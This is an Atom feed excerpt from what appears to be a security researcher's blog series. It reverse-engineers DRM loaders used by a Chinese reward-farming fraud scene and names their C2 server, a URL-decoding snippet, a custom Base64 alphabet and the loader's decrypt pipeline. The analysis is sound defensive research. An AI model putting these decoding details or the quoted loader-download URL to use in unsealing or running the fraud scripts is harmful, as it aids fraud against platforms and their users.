  <li><strong>Cashout</strong> — points become vouchers become cash, resold on Xianyu or Pinduoduo, or
lottery wins paid straight out to Alipay.</li>
</ul>

<p>The whole thing is really just one pipeline: the scripts -&gt; Qinglong runs
them on a schedule -&gt; they hammer the target apps -&gt; points and coupons -&gt;
resold or cashed out -&gt; a WXPusher notification pings the operator to say the
money landed. Distribution sits over the top of all of it: GitHub, Telegram, QQ
groups, and a marketplace at script.345yun.cn.</p>

<p>And here’s the bit that made me really worried, and realised that this really
is not just some skids: in at least one case the tooling steals from the people
using it. One of the most capable operators, smallfawn, sells a JD.com login
tool to other farmers that’s quietly wired to send the harvested logins,
plaintext passwords included, three times a day back to a server they control.
They are, quite literally, farming the farmers.</p>

<p>I should be straight up about where this all ends, because it’s the part that’s
most of the work and least of the fun: the modern scripts are sealed behind that
wyourname C2, and the key server is effectively dark, it 404s, and a <code class="language-plaintext highlighter-rouge">status:
false</code> flag gates the handout. And even getting that far, the loader geolocates
you and POSTs a fingerprint of your machine to a box in Shanghai first, so I’d be
handing my own setup straight to them. So I mapped 49 of them and decrypted
exactly… none. Everything I did manage to crack is the older, weaker tier.</p>

<p>Over the next few posts I’ll pull each layer apart, so stay tuned for:</p>

<ol>
  <li><strong><a href="/security/2026/06/23/the-wool-drm/">The DRM, part 1</a></strong>: wyourname’s
old Cython loader, and how I reversed it end to end. The key was baked into
the binary, so it protected nothing.</li>
  <li><strong><a href="/security/2026/06/23/the-great-rust-wall/">The DRM, part 2</a></strong>: the
current Rust tier, where the key lives on a C2 and never on your machine, and
how far I got without ever breaking it.</li>
  <li><strong><a href="/security/2026/06/29/farming-the-farmers/">Farming the farmers</a></strong>:
smallfawn’s JD.com login tool, quietly wired to rob the people who buy it.</li>
  <li><strong>The civic angle</strong>: how government, civic, and state-media apps got dragged
into all this.</li>
  <li><strong>The attack mechanics</strong>: the handful of tricks that show up again and again
across 60+ platforms.</li>
  <li><strong>The cast</strong>: the 16 actors, and how I mapped the whole bloody thing from
one random repo.</li>
</ol>

<p>All of it was read-only, I didn’t farm a single account or log into anything,
and anything live went to the vendors first.</p>]]></content><author><name>Alex Manson</name></author><category term="Security" /><summary type="html"><![CDATA[A weekend that started with a grep.app search for leaked password prefixes and ended in a 16-actor Chinese reward-farming (薅羊毛) ecosystem: its script DRM, its C2, its credential theft, and the civic apps it targets.]]></summary></entry><entry><title type="html">The wool DRM, part 2: the Rust wall I didn’t crack</title><link href="https://neurowinter.com/security/2026/06/23/the-great-rust-wall/" rel="alternate" type="text/html" title="The wool DRM, part 2: the Rust wall I didn’t crack" /><published>2026-06-23T00:00:00+12:00</published><updated>2026-06-23T00:00:00+12:00</updated><id>https://neurowinter.com/security/2026/06/23/the-great-rust-wall</id><content type="html" xml:base="https://neurowinter.com/security/2026/06/23/the-great-rust-wall/"><![CDATA[<h2 id="tldr">TLDR:</h2>

<ul>
  <li>Recap: <code class="language-plaintext highlighter-rouge">wyourname/wool</code> is the script-DRM repo a big slice of the Chinese
reward-farming (薅羊毛) scene rents to seal their fraud scripts. The old
Cython tier baked its key into the binary, so I cracked it. That was the
previous post.</li>
  <li>The current tier is Rust (<code class="language-plaintext highlighter-rouge">loader_v2</code>, <code class="language-plaintext highlighter-rouge">common</code>, <code class="language-plaintext highlighter-rouge">component</code>) doing AES-CBC.
The key is never in the binary: <code class="language-plaintext highlighter-rouge">common</code> fetches it per machine from a C2 and
<code class="language-plaintext highlighter-rouge">loader_v2</code> decrypts with it.</li>
  <li>I did not crack one ev2 payload, and that is the design working as intended.</li>
  <li>Score: 49 ev2 scripts mapped, 0 decrypted. The crypto is ordinary, the wall
is where the key lives.</li>
  <li>The C2 is <code class="language-plaintext highlighter-rouge">1.94.146.238:8099</code> (Huawei Cloud, Shanghai) with a <code class="language-plaintext highlighter-rouge">doudoudou.top</code>
backup. It currently 404s and <code class="language-plaintext highlighter-rouge">control.json</code> carries <code class="language-plaintext highlighter-rouge">status: false</code>, but the
binaries were still updated in June 2026, so someone is still running it.</li>
  <li>Everything I say about what the sealed scripts do is inference, not
extraction. All read-only, nothing farmed, nothing logged into.</li>
</ul>

<hr />

<h2 id="recap-the-loader-i-cracked">Recap: the loader I cracked</h2>

<p>A quick recap if you skipped
<a href="/security/2026/06/23/the-wool-drm/">the first post</a>. <code class="language-plaintext highlighter-rouge">wool</code> is a zero-star
GitHub repo that does one job, script DRM, and a large part of the Chinese
reward-farming scene rents it to seal their fraud scripts. The repo ships four
loaders. The
old one is a Cython module running a hand-ported JavaScript DES, and I reversed
it end to end, because the key was baked into the binary. Recover that key once
and every payload the loader ever sealed falls open.</p>

<p>This post is about the other three, the ones written in Rust. They are the tier
the operator built after deciding the baked-in key was the mistake, which it
was… The cipher is no harder. The key just stopped living on your machine.</p>

<hr />

<h2 id="track-b-the-great-rust-wall-ev2">Track B: The Great Rust Wall (ev2)</h2>

<p>I found Track B by accident. With the DES loader working, I started feeding it
every encrypted file in the repo thinking I had hit the jackpot, and most
decrypted fine. Then a whole folder, <code class="language-plaintext highlighter-rouge">encrypted_files_v2</code>, threw
<code class="language-plaintext highlighter-rouge">json.JSONDecodeError</code> on every single file. The DES loader was trying to parse
them as something they weren’t and giving up the ghost. These were not DES
payloads. They were a different format altogether, for a different loader. That
is when it clicked: two generations of this thing, not one. Hence the different
.so files!</p>

<p>The newer generation is Rust. <code class="language-plaintext highlighter-rouge">loader_v2</code> (827 KB) and <code class="language-plaintext highlighter-rouge">component</code> (8.2 MB) are
both Rust compiled to native code, and where the Cython loader handed me
everything, these kept their secrets. So I’ll say it up front: I did not get
through this tier. I can map it, fingerprint the format, and name most moving
parts. But I never decrypted a single ev2 payload. That is by design, and the
design is good, well its good against offline attacks.</p>

<p>How do I know it’s Rust if it’s stripped? Because Rust has a few tell tale
signs. It bakes the source path of every panic site into the binary, including
the full path of every crate it pulled from the build machine’s cargo registry,
versions and all. The operator’s function names are gone, but the dependency
tree is sitting in <code class="language-plaintext highlighter-rouge">strings</code>: <code class="language-plaintext highlighter-rouge">pyo3</code> (a Python extension written in Rust),
<code class="language-plaintext highlighter-rouge">tokio</code> (async), <code class="language-plaintext highlighter-rouge">flate2</code> (gzip), and in <code class="language-plaintext highlighter-rouge">loader_v2</code>, <code class="language-plaintext highlighter-rouge">zeroize</code> next to a
<code class="language-plaintext highlighter-rouge">src/utils/crypto.rs</code> doing block-cipher work. No more JavaScript DES :(. This
is the real thing.</p>

<p>The split across the binaries is the clever part. <code class="language-plaintext highlighter-rouge">loader_v2</code> exposes one
Python method, <code class="language-plaintext highlighter-rouge">_decrypt(eb)</code>, that takes an encrypted bundle and does the
whole job inside Rust: custom Base64, AES-CBC, gzip, marshal, run. Unlike Track
A’s <code class="language-plaintext highlighter-rouge">get_key()</code>, nothing hands you the key. It never leaves Rust memory, and
<code class="language-plaintext highlighter-rouge">zeroize</code> wipes it after use. It’s also machine-bound: <code class="language-plaintext highlighter-rouge">sysinfo</code> reads
<code class="language-plaintext highlighter-rouge">/proc/cpuinfo</code> and friends so a bundle is tied to the hardware it was
provisioned for. And the key does not live in the binary at all. It comes from
the operators C2 server.</p>

<p>That server is in <code class="language-plaintext highlighter-rouge">control.json</code>, in the root of the repo:</p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="nl">"message"</span><span class="p">:</span><span class="s2">"已更新"</span><span class="p">,</span><span class="nl">"status"</span><span class="p">:</span><span class="kc">false</span><span class="p">,</span><span class="w">
 </span><span class="nl">"url1"</span><span class="p">:</span><span class="s2">"Hw0bBUhBTlxLTk1BREZYT19WT0NXRUtXTg=="</span><span class="p">,</span><span class="w">
 </span><span class="nl">"url2"</span><span class="p">:</span><span class="s2">"Hw0bBUhBTgwVHlcLGgcKDhgBGAxBAR0eTg=="</span><span class="p">,</span><span class="nl">"version"</span><span class="p">:</span><span class="mf">1.07</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p>The URLs are base64 over a fixed key XOR, and the key is <code class="language-plaintext highlighter-rouge">wyourname</code>, the
author’s own username:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">&gt;&gt;&gt;</span> <span class="kn">import</span> <span class="nn">base64</span>
<span class="o">&gt;&gt;&gt;</span> <span class="k">def</span> <span class="nf">dexor</span><span class="p">(</span><span class="n">s</span><span class="p">,</span> <span class="n">key</span><span class="o">=</span><span class="sa">b</span><span class="s">"wyourname"</span><span class="p">):</span>
<span class="p">...</span>     <span class="n">raw</span> <span class="o">=</span> <span class="n">base64</span><span class="p">.</span><span class="n">b64decode</span><span class="p">(</span><span class="n">s</span><span class="p">)</span>
<span class="p">...</span>     <span class="k">return</span> <span class="nb">bytes</span><span class="p">(</span><span class="n">c</span> <span class="o">^</span> <span class="n">key</span><span class="p">[</span><span class="n">i</span> <span class="o">%</span> <span class="nb">len</span><span class="p">(</span><span class="n">key</span><span class="p">)]</span> <span class="k">for</span> <span class="n">i</span><span class="p">,</span> <span class="n">c</span> <span class="ow">in</span> <span class="nb">enumerate</span><span class="p">(</span><span class="n">raw</span><span class="p">))</span>
<span class="p">...</span>
<span class="o">&gt;&gt;&gt;</span> <span class="n">dexor</span><span class="p">(</span><span class="s">"Hw0bBUhBTlxLTk1BREZYT19WT0NXRUtXTg=="</span><span class="p">)</span>
<span class="sa">b</span><span class="s">'http://1.94.146.238:8099/'</span>
<span class="o">&gt;&gt;&gt;</span> <span class="n">dexor</span><span class="p">(</span><span class="s">"Hw0bBUhBTgwVHlcLGgcKDhgBGAxBAR0eTg=="</span><span class="p">)</span>
<span class="sa">b</span><span class="s">'http://api.doudoudou.top/'</span>
</code></pre></div></div>

<p>The primary on a Huawei Cloud box in Shanghai, and a backup on <code class="language-plaintext highlighter-rouge">doudoudou.top</code>.
The third Rust binary, <code class="language-plaintext highlighter-rouge">common</code> (3.2 MB), is the client that talks to it:
<code class="language-plaintext highlighter-rouge">reqwest</code> and <code class="language-plaintext highlighter-rouge">rustls</code> in its crate list, it fingerprints the machine, POSTs to
that C2 over HTTP, and gets back the per script key, which it feeds to
<code class="language-plaintext highlighter-rouge">loader_v2</code> to do the decrypt. So the work is split three ways: <code class="language-plaintext highlighter-rouge">common</code>
fetches the key, <code class="language-plaintext highlighter-rouge">loader_v2</code> uses it, and the operator’s server is the only
place the key ever sits in the clear.</p>

<p>That is the whole design, and it is the part Track A got wrong. Track A baked
the key into the loader the key was in the same draw as the lock, so recovering
it once broke everything. Track B leaves the locked payloads public, on
GitHub’s CDN where there is nothing to take down since the scripts are not
readable at all, and keeps the keys on a server it controls. You can clone
every ev2 file in the repo. Without the C2, they are noise. Though I do wonder
I could brute force them somehow… Spoiler: You can’t. With standard AES-CBC
and zero key leaks in the binary, the keyspace is a computational brick wall.</p>

<h3 id="componentso-the-heavy-runtime">component.so: the heavy runtime</h3>

<p><code class="language-plaintext highlighter-rouge">loader_v2</code> is the light tier. <code class="language-plaintext highlighter-rouge">component.so</code> is the other one, and it is a
different animal: 8.2 MB, built on a statically-linked OpenSSL instead of
Rust’s <code class="language-plaintext highlighter-rouge">rustls</code>, with its symbol table left in. Among its strings, XOR’d with
<code class="language-plaintext highlighter-rouge">wyourname</code> again, is a client-key path:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/etc/ssl/private/UAP_reload_ca.key
</code></pre></div></div>

<p>I have to be careful here, because this is where I start reading tea leaves. I
never watched <code class="language-plaintext highlighter-rouge">component</code> talk to anything, the C2 is dark, so the mutual-TLS
story is inferred from that one string, not seen on the wire. But it’s a loud
string. A binary that statically links the whole OpenSSL stack and reaches for
a CA private key at a fixed path is almost certainly doing client-certificate
auth: a server that won’t open the door unless you present a cert it issued.</p>

<p>Which raises a question I can’t fully answer: how does that key get onto the
box? <code class="language-plaintext highlighter-rouge">component</code> reads the path, it doesn’t write it, and it ships no
certificate of its own. So something else has to drop the key at install time,
which means these instances aren’t generic, they’re provisioned. Whatever sets
a subscriber up hands them a client cert tied to the operator’s CA. I never
caught that step happening, so the mechanism is a gap, but the shape is clear
enough: this tier expects a tailored, pre-seeded box, not a fresh <code class="language-plaintext highlighter-rouge">pip
install</code>. I guess maybe this comes from Qinglong?</p>

<p>It doesn’t stop there. <code class="language-plaintext highlighter-rouge">component</code> enumerates every single network interface
and reads the MAC addresses (<code class="language-plaintext highlighter-rouge">getifaddrs</code>), binding the license to physical
hardware, not just an OS install. And it can update and delete itself:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>New version available! Please update.
No wyourname.so file found in the current path.
</code></pre></div></div>

<p>When the C2 signals a new version, the binary deletes itself and pulls the
replacement, so the operator can push fresh code to every install silently by
bumping a counter. The whole thing is hardened like commercial DRM, because
that is basically exactly what it is.</p>

<p>One fun detail is where the operator talking back. Among those same XOR’d
strings, decoded with the same <code class="language-plaintext highlighter-rouge">wyourname</code> key:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Whatareyoulookingat
</code></pre></div></div>

<p>Which is a fair question to leave for whoever is doing exactly what I was doing.</p>

<h3 id="what-the-sealed-files-give-up-anyway">What the sealed files give up anyway</h3>

<p>I couldn’t read the ev2 payloads, but I didn’t leave them alone, and an
encrypted file is rarely as opaque as it looks. Strip off the outer
<code class="language-plaintext highlighter-rouge">func_mod::xor</code> layer (a reversible byte-to-printable transform, with no secret
in it) and the structure is right there. Every file opens with the same
12-character magic, <code class="language-plaintext highlighter-rouge">|(LTm_R7mUd@</code>, and the first 86 bytes are byte-for-byte
identical across all 192 files I pulled: that magic plus a first instruction
that is always the same gzip header. The plaintext is gzipped bytecode, and the
format barely bothers to hide that much.</p>

<p>The binary claimed AES. The format confirmed it, and told me something odder
besides: this isn’t one big encrypted blob. It’s a stream of small structured
records, one per bytecode instruction, each sitting between <code class="language-plaintext highlighter-rouge">&gt;TZK&gt;</code> delimiters
with its encrypted bytes in the middle. Run an autocorrelation over a file and
there’s a clean spike at a 64-character period: 16 bytes, one AES-CBC block. So
each instruction is encrypted on its own, a block at a time. The operator
didn’t encrypt a file, they built a custom per-instruction container and AES’d
the contents one record at a time.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>+----------------+-----------------------+----------------+-----------------+
| &gt;TZK&gt;          | AES-CBC ciphertext    | &gt;5@K&gt;zNZuqYvC~ | opcode argument |
| frame delim    | 16 bytes (one block)  | inner delim    | 2 chars, clear  |
+----------------+-----------------------+----------------+-----------------+
</code></pre></div></div>

<p>One record, repeated once per instruction. The file opens with the 12-char
magic <code class="language-plaintext highlighter-rouge">|(LTm_R7mUd@</code> once. In the file each ciphertext byte is written as four
ASCII characters and the delimiters are literal, so that 16-byte block is 64
characters on disk; longer instructions chain more blocks.</p>

<p>And the records leak. Each encrypted instruction is trailed by a two-character
argument that isn’t encrypted at all, and I’m sure of that from how it behaves
across builds. The repo ships every script compiled for four Python versions,
and bytecode changes between versions, so the encrypted bytes shift from the
3.9 file to the 3.11 one. The two char suffixes don’t. A value that stays
identical across all four builds, at a fixed spot right after the delimiter,
can’t be inside the ciphertext: it’s the opcode’s argument, outside the
encryption in the clear.</p>

<p>That is the ceiling. With the magic, the block structure, the plaintext
arguments, and file sizes lined up against scripts I’d already cracked on the
xxwppp side (the sister cluster of repos that runs on the same Track A loader,
so its payloads come out readable), I can sketch the skeleton of any ev2 file
in the repo. What I can’t do is read a line of it. The key is the one thing the
format doesn’t leak.</p>

<hr />

<h2 id="the-contrast-yphd-reversed-before-lunch">The contrast: yphd, reversed before lunch</h2>

<p>To see why the wool C2 model is actually strong, it helps to look at someone in
the same scene who did it the other way. <code class="language-plaintext highlighter-rouge">yphd</code> and <code class="language-plaintext highlighter-rouge">khr2606</code> are two binaries
from a neighbouring repo, and they look intimidating: 15 MB and 10 MB ELF
files, every string encrypted, no readable Python anywhere. But they are Nuitka
<code class="language-plaintext highlighter-rouge">--onefile</code> builds. Nuitka is a Python to C compiler, and <code class="language-plaintext highlighter-rouge">--onefile</code> bundles
the whole interpreter plus a zstd-compressed copy of the program into a single
executable. The “encryption” is just Nuitka packing its constant tables. It
isn’t a security feature and it isn’t gated on anything. Everything needed to
run is inside the file.</p>

<p>Which means it all comes back out. The Nuitka bootstrap unpacks itself to a
temp directory at startup; catch it there and you have the original Python.
<code class="language-plaintext highlighter-rouge">khr2606</code> turned out to be a solver for China Unicom’s “Customer Day” Bubble
Battle, a hexagonal bubble shooter run as a loyalty promotion - pretty much a
clone of <code class="language-plaintext highlighter-rouge">Puzzle Bobble</code> with some rewards. The script runs a BFS over the grid
to find floating bubbles, picks the shot that clears the most, and, my
favourite touch, deliberately stops once it has eliminated more than 200 so it
doesn’t look like a bot. The whole thing was readable in about two hours.</p>

<p>That is the point. <code class="language-plaintext highlighter-rouge">yphd</code> packs its code; wool gates its code. Packing always
loses under scruitany, because the unpacked version has to exist somewhere at
runtime for the program to do anything. A C2 held key never has to exist on the
victim’s machine at all. It is the difference between a locked box you were
also handed the key to, and a locked box whose key stays on someone else’s
server.</p>

<hr />

<h2 id="where-it-stops">Where it stops</h2>

<p>So here is the honest dead end. There are 49 ev2 scripts in the repo, four
Python builds each, 196 files in all, and I have 192 of them, every build of
all but one script. I can describe the format down to the byte, I know the
cipher is AES-CBC, I know the key is universal and the same for every user.
What I do not have is that key, because it only comes from the C2, and the C2
will not talk to me. Every path I tried on <code class="language-plaintext highlighter-rouge">1.94.146.238:8099</code> returns 404, and
<code class="language-plaintext highlighter-rouge">control.json</code> carries <code class="language-plaintext highlighter-rouge">status: false</code>. Whether the server is off, moved, or
simply refusing anything without a valid machine fingerprint and the right
client certificate, I can’t tell from the outside. The repo itself is alive,
its compiled binaries were updated as recently as June 2026. Someone is still
maintaining it. The doors are just locked.</p>

<p>Which means everything I can say about what those 49 scripts actually do is
inference, and I want to be clear about that. The names are romanized guesses
from the encoded filenames. The categories, KuWo Music, Ximalaya, Bilibili,
state-media reading apps, a pile of regional civic platforms, come from file
size, instruction counts, the plaintext argument bytes, and matching sealed
files against their cleartext twins on the xxwppp side. None of it was
extracted. I never saw the source of one ev2 script. If this series tells you
what <code class="language-plaintext highlighter-rouge">nebula-pr</code> does, it is a hypothesis with evidence behind it, not a
decryption.</p>

<p>That is the wall, and it’s a good one. The reason I can tell the Track A story
all the way through and the Track B story only halfway comes down to a single
design decision: where the key lives.</p>

<hr />

<h2 id="resources">Resources</h2>

<ul>
  <li><a href="https://pyo3.rs/">PyO3</a>, the Rust-to-Python bridge behind <code class="language-plaintext highlighter-rouge">loader_v2</code>,
<code class="language-plaintext highlighter-rouge">common</code>, and <code class="language-plaintext highlighter-rouge">component</code>.</li>
  <li><a href="https://en.wikipedia.org/wiki/Advanced_Encryption_Standard">AES</a> in CBC mode,
the cipher behind the ev2 format, with the key held off the box on the C2.</li>
  <li><a href="https://docs.python.org/3/library/marshal.html">Python’s <code class="language-plaintext highlighter-rouge">marshal</code></a> and
<a href="https://docs.python.org/3/c-api/veryhigh.html#c.PyEval_EvalCode"><code class="language-plaintext highlighter-rouge">PyEval_EvalCode</code></a>,
the last two steps of the ev2 pipeline once the AES layer comes off.</li>
</ul>]]></content><author><name>Alex Manson</name></author><category term="Security" /><summary type="html"><![CDATA[The current wool DRM tier is Rust with its AES key held on a C2, never in the binary. I mapped the format down to the byte and never decrypted a line. That is the design working as intended.]]></summary></entry><entry><title type="html">The wool DRM, part 1: the Cython loader I cracked</title><link href="https://neurowinter.com/security/2026/06/23/the-wool-drm/" rel="alternate" type="text/html" title="The wool DRM, part 1: the Cython loader I cracked" /><published>2026-06-23T00:00:00+12:00</published><updated>2026-06-23T00:00:00+12:00</updated><id>https://neurowinter.com/security/2026/06/23/the-wool-drm</id><content type="html" xml:base="https://neurowinter.com/security/2026/06/23/the-wool-drm/"><![CDATA[<h2 id="tldr">TLDR:</h2>

<ul>
  <li><code class="language-plaintext highlighter-rouge">wyourname/wool</code> is a zero-star GitHub repo that does one job: script DRM. A
big slice of the Chinese reward-farming (薅羊毛) scene rents it to seal their
fraud scripts so they can’t be lifted straight off GitHub.</li>
  <li>Why bother locking a checkin script? In this scene the script is the product.
It gets sold, rented, and gated behind license keys, so the code itself is
the thing a buyer is paying not to be able to copy.</li>
  <li>The old tier is a Cython module (<code class="language-plaintext highlighter-rouge">loader_39_x86_64.so</code>) running a hand-ported
JavaScript DES. I reversed it end to end.</li>
  <li>The key is hardcoded (<code class="language-plaintext highlighter-rouge">f30db728...</code>), the same eight bytes in every build.
Recover it once and every payload that loader ever sealed falls open, so it
protects nothing.</li>
  <li>I’m publishing the method and the lesson, not a decrypt script. All
read-only, nothing farmed, nothing logged into.</li>
  <li>The newer tier of DRM fixed the mistake that made this one crackable: it
moved the key off the box and onto a C2. That is the next post.</li>
</ul>

<hr />

<h2 id="why-i-started-pulling-on-these-so-files">Why I started pulling on these .so files</h2>

<p>At the end of the last post I had a repo I couldn’t read. Here’s the part I
skipped over: qlk’s own obfuscation was never the hard problem.</p>

<p>Every script is the same trick, base85 or XOR or a subtract cipher, then zlib,
then a marshalled code object handed straight to <code class="language-plaintext highlighter-rouge">exec()</code>. It runs in memory and
never writes a .pyc, so it stops you reading the source but not running it, and
anything you can run you can hook. After decoding these scripts I realised what
I had stumbled upon, a treasure trove of scripts that are used to defraud news
sites, ads, and local government websites, all
to make a little bit of cash. We will go into this in more detail in another
post.</p>

<p>Curious to see if this was just a single example of bad opsec, I started
searching the endpoints they were targeting. Boy they were everywhere: a KuWo
cash-withdrawal endpoint alone is in at least five other people’s repos. And it
wasn’t just the targets that matched: two of qlk’s obfuscators are hand-rolled,
not off-the-shelf, and the same fingerprints turned up in another author’s repo
in the same cluster. Same private toolchain, different authors. qlk wasn’t a
one-off, it was one corner of a whole scene.</p>

<p>So I started reading through these repos. Most were more of the same: same
apps, same obfuscation, the odd file copied word for word from one account to
the next. Typical for a scene like this that people would be stealing others
scripts. But a few were built differently. They didn’t contain any logic at
all. They imported a loader, pulled down a .so, and handed it an encrypted
string to run. And one of them, a plaintext one, had left the download URL
sitting right at the top of the file:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">DEBIAN_URL</span> <span class="o">=</span> <span class="s">'https://raw.githubusercontent.com/wyourname/wool/master/others'</span>
</code></pre></div></div>

<p>That was the repo. <a href="https://github.com/wyourname/wool">wyourname/wool</a>: zero stars, description 自用 (“personal
use”), quietly hosting the loaders a large portion of the scene was using
to protect their scripts.</p>

<hr />

<h2 id="why-lock-a-wool-script">Why lock a wool script?</h2>

<p>Before any of the reverse engineering, it is worth settling what the lock is
even for. A wool script automates a checkin, a lottery draw, a daily reading
task. It is not state secrets. So who is it hiding from, and why would anyone
pay to keep it sealed?</p>

<p>Because in this scene the script is the product. These things get sold and
rented. There are panels that meter access, license keys (卡密) that gate a
single run, resellers who never wrote a line of the code they sell or rent. The
moment the source is readable, a buyer copies it once and stops paying, or
undercuts the author by selling it on himself. Confidentiality is the whole
business model.</p>

<p>The checkin loop was never the part worth protecting. Anyone can write one. The
value is in the bypass underneath: the <code class="language-plaintext highlighter-rouge">h5st</code> signature JD’s app demands, the
risk tokens, the shared pool of device IDs, the CAPTCHA solver, the Ruishu
fingerprint defeat. That is months of work against a target that keeps moving,
and it is exactly what a rival in the same scene wants to lift. Lock the file
and the exploit stays yours.</p>

<p>A loader that fetches its key from a server buys one more thing: an off switch.
Stop handing out the key, or flip a flag in a config, and every copy already
deployed goes dark at once. The author keeps a hand on a product he has already
sold.</p>

<p>There is a defensive (for the fraudsters) bonus too. An encrypted payload
sitting on GitHub is just a bunch of bits. JD cannot read it to build a
detection, a researcher cannot skim it for indicators, and there is nothing
legible to file a takedown against. The fraud code hides in plain sight, on a
CDN that will never take it down, since it doesnt even know its a fraud script.</p>

<p>And the whole scene runs on no trust. The operators do not even trust the
customers they sell to, and I guess they shouldn’t. A later post is about one
author who quietly routes his buyers’ harvested passwords back to his own
server. DRM is that same instinct pointed at the paying customer: hand them the
capability, never the code.</p>

<p>So that is the motive. The rest of this post is how well they actually pulled
it off, starting with the version that got it wrong.</p>

<hr />

<h2 id="wool-repo-overview">Wool repo overview</h2>

<p>Now this wool repo is hella interesting, it’s the basis of a bunch of different
script DRM techniques.</p>

<p>The repo has two branches, master and compatible, the latter untouched for
three years. Everything interesting is on master.</p>

<p>The first two things that stood out to me. First, a folder called
<code class="language-plaintext highlighter-rouge">encrypted_files_v2</code>, updated three weeks ago, full of .txt files that all open
with the same 12-character magic (<code class="language-plaintext highlighter-rouge">|(LTm_R7mUd@</code>) and then gibberish. Second, a
script/ directory containing common.py. A loader that subscribers actually run.
That file is readable, and it tells you the shape of the whole system: you hand
it a script name, it then figures out your Python version and arch, fetches the
right .so binary from the repo’s others/ directory, loads it as a Python
extension module, and calls main(). From that point common.py is out of the
picture. Whatever happens next happens inside the binary.</p>

<p>I expected one loader. There are four of them in others/ and they don’t all
work the same way: <code class="language-plaintext highlighter-rouge">loader</code> is an old Cython module, and <code class="language-plaintext highlighter-rouge">loader_v2</code>, <code class="language-plaintext highlighter-rouge">common</code>,
and <code class="language-plaintext highlighter-rouge">component</code> are Rust. The one <code class="language-plaintext highlighter-rouge">common.py</code> pulls by default is <code class="language-plaintext highlighter-rouge">common</code>.
It’s all one product, carried from Python into Rust and grown since, which is
the tell that this system has a history.</p>

<p>This post is about the old one, the Cython loader, because it is the one that
opens up and tells me all its secrets. The other three are written in Rust, and
they are a harder story that gets its own post.</p>

<hr />

<h2 id="track-a-cython-des-loader">Track A: Cython DES loader</h2>

<p>The oldest loader, <code class="language-plaintext highlighter-rouge">loader_39_x86_64.so</code>, is a Cython compiled Python module,
so there’s no source to read. You get a 369 KB shared object that exports
exactly one symbol, <code class="language-plaintext highlighter-rouge">PyInit_loader</code>, and keeps everything else to itself.
Import it, hand it an encrypted string, and it hands you back live code. That’s
the entire product: the scripts ship as gibberish, the loader turns gibberish
into behaviour, and the step in between is the thing you’re paying not to have
to trust.</p>

<p>So I would naturally start reaching for Ghidra, or radare2 here (or binary
ninja if I had more $$), but for this I didnt need to! Using <code class="language-plaintext highlighter-rouge">file</code> it
confirmed that it was an ELF 64-bit shared object (the exported <code class="language-plaintext highlighter-rouge">PyInit_loader</code>
symbol is what actually marks it a CPython extension module), I also used
<code class="language-plaintext highlighter-rouge">strings</code> to get out all the printable strings, and used <code class="language-plaintext highlighter-rouge">readelf</code> to give a
way the sections.</p>

<p>What gave it away was the DES. Not that it uses DES, plenty of things still do,
but that it isn’t a crypto library’s DES. It’s someone’s JavaScript DES,
hand-carried into Python. The fingerprints are everywhere: helper functions
named <code class="language-plaintext highlighter-rouge">to_signed32</code> and <code class="language-plaintext highlighter-rouge">unsigned_right_shift</code>, which only need to exist
because JavaScript’s <code class="language-plaintext highlighter-rouge">&gt;&gt;&gt;</code> behaves differently from Python’s. And the key
schedule routine’s docstring is written in Chinese but leaves the words
<code class="language-plaintext highlighter-rouge">JavaScript</code> and <code class="language-plaintext highlighter-rouge">key schedule</code> sitting right there in English; translated, it
says the schedule was restored from the JavaScript version. You don’t write a
DES engine in Python for fun. You port one you found.</p>

<p>With the algorithm identified, the rest of the pipeline falls out of the
strings and the exports. The loader carries its own scrambled Base64 alphabet,
the standard one shuffled just enough that an off-the-shelf decoder gives you
garbage:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>abcdefghijklmnoqprstuvwxyzABCDEFGHJIKLMNOPQRSTUVWXYZ0123456789~/
</code></pre></div></div>

<p>It’s ordinary Base64 with the case blocks flipped so lowercase comes first, <code class="language-plaintext highlighter-rouge">p</code>
and <code class="language-plaintext highlighter-rouge">q</code> swapped, <code class="language-plaintext highlighter-rouge">I</code> and <code class="language-plaintext highlighter-rouge">J</code> swapped, and <code class="language-plaintext highlighter-rouge">~</code> standing in for <code class="language-plaintext highlighter-rouge">+</code>. Small
changes, enough to break a lazy decode. From there the chain is mechanical, and
every stage is one of the module’s exported names:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>CustomBase64.decode → split_data (peel IV) → DES-CBC → strip PKCS7
  → gzip decompress → marshal.loads → PyEval_EvalCode
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">split_data</code> lifts the IV off the front, <code class="language-plaintext highlighter-rouge">des_crypt</code> runs the DES-CBC with that
JavaScript-ported schedule, the result un-gzips into marshalled bytecode, and
<code class="language-plaintext highlighter-rouge">PyEval_EvalCode</code> runs it in memory. The whole thing is right there. The only
piece the pipeline is missing is the key.</p>

<h3 id="the-md5-red-herring">The MD5 red herring</h3>

<p>The strings get you this far, and then they set a trap, or I just made my own
trap.</p>

<p>Pull the symbols and <code class="language-plaintext highlighter-rouge">get_key()</code> is openly calling
<code class="language-plaintext highlighter-rouge">hashlib.md5(...).hexdigest()</code>. A few bytes away in the read only (RO section)
data sit two eight-character strings, <code class="language-plaintext highlighter-rouge">12345678</code> and <code class="language-plaintext highlighter-rouge">12345673</code>, and eight
characters is exactly the length of a single DES key. This is too good to be
true, and this follows the idea that the creator is just doing their best. The
story writes itself the key is <code class="language-plaintext highlighter-rouge">MD5("12345678")</code>, probably sliced to size. It’s
a clean, satisfying answer, I believed this, and thought “Ah silly wool creator
you have left the key right here.”</p>

<p>I was wrong. <code class="language-plaintext highlighter-rouge">MD5("12345678")</code> is <code class="language-plaintext highlighter-rouge">25d55ad283aa400af464c76d713c07ad</code>, which is
not the key.</p>

<p>The only way to figure this out was to stop reading and start running, testing
my own notes, and theories. The part the static tools can’t do for you, and the
part a Cython .so makes trivial. It’s a Python module, so I gave it a Python
interpreter: a matching CPython (3.9, the version it was built against), the
loader dropped beside it, imported. Then I just asked.</p>

